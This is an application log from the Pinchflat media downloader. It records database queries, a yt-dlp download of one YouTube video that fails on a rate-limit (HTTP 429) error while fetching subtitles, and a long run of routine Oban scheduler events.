db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14] 06:29:17.588 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:29:17.588 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:17.588 [debug] Running yt-dlp command for action: get_downloadable_status 06:29:17.588 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:17.589 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:17.589 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:17.589 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ef/0f/ef0f12c6bc7e2509182bf68cd14ef740704ad1ec919558c8f2894c1c4069692c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:29:18.748 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:19.687 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ef/0f/ef0f12c6bc7e2509182bf68cd14ef740704ad1ec919558c8f2894c1c4069692c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 06:29:19.687 [debug] Running yt-dlp command for action: download 06:29:19.688 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=956.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:19.688 [debug] QUERY OK source="settings" db=0.0ms idle=957.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:19.688 [debug] QUERY OK source="settings" db=0.0ms idle=957.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:29:19.688 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ac/65/ac65cc10bebdbd1160def665552b5fd40dad1c9b460132aa59c88845596fc048.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:29:22.161 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LpNVf8sczqU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ac/65/ac65cc10bebdbd1160def665552b5fd40dad1c9b460132aa59c88845596fc048.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 06:29:22.161 [error] yt-dlp download error for media item #14: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 06:29:22.336 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14},"id":22,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4575683,"event":"job:exception","queue_time":274029,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:29:48.750 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.750 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:30:18.752 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:48.754 [info] {"source":"oban","duration":1722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.751 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:31:18.756 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:48.758 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.753 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:32:18.760 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:48.762 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.754 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:33:18.763 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:48.765 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.755 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:34:18.768 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:48.770 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.756 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:35:18.771 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:48.773 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.757 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:36:18.776 [info] {"source":"oban","duration":1666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:48.779 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.758 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:37:18.781 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:48.783 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.759 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:38:18.785 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:48.787 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.760 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:39:18.789 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:48.791 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.761 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:40:18.793 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:48.796 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.762 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:41:18.798 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:48.799 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.764 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:42:18.801 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:48.803 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.765 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:43:18.805 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:48.806 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.767 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:44:18.808 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:48.810 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.768 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:45:18.812 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:48.814 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.770 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:46:18.816 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:48.818 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.771 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:47:18.820 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:48.822 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.772 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:48:18.824 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:48.827 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.773 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:49:18.830 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:48.832 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.774 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:50:18.835 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:48.837 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.775 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:51:18.838 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:48.841 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.777 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:52:18.843 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:48.845 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.779 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:53:18.847 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:48.849 [info] {"source":"oban","duration":1790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.780 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:54:18.852 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:48.855 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.781 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:55:18.856 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:48.858 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.782 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:56:18.860 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:48.863 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.783 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:57:18.864 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:48.867 [info] {"source":"oban","duration":1768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.784 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:58:18.870 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:48.871 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.785 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:59:18.874 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:48.876 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.786 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:00:18.877 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:48.879 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.787 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:01:18.880 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:48.881 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.788 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:02:18.882 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:48.884 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.789 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:03:18.886 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:48.887 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.790 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:04:18.888 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:48.889 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.791 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:05:18.890 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:48.891 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.792 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:06:18.892 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:48.893 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.793 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:07:18.894 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:48.895 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.794 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:08:18.897 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:48.898 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.796 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:09:18.899 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:48.900 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.797 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:10:18.901 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:48.902 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.798 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:11:18.903 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:48.905 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.799 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:12:18.906 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:48.907 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.800 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:13:18.910 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:48.911 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.801 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:14:18.912 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:48.913 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.802 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:15:18.915 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:48.916 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.803 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:16:18.918 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:48.919 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.804 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:17:18.920 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:48.922 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.805 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:18:18.923 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:48.925 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.806 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:19:18.926 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:48.927 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.807 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:20:18.928 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:48.929 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.808 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:21:18.930 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:48.931 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.809 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:22:18.932 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:48.934 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.810 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:23:18.935 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:48.936 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.811 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:24:18.938 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:48.939 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.812 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:25:18.940 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:48.941 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.812 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:26:18.943 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:48.944 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.814 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:27:18.945 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:48.946 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.815 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:28:18.948 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:48.949 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.816 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:29:18.950 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:48.951 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.817 [info] 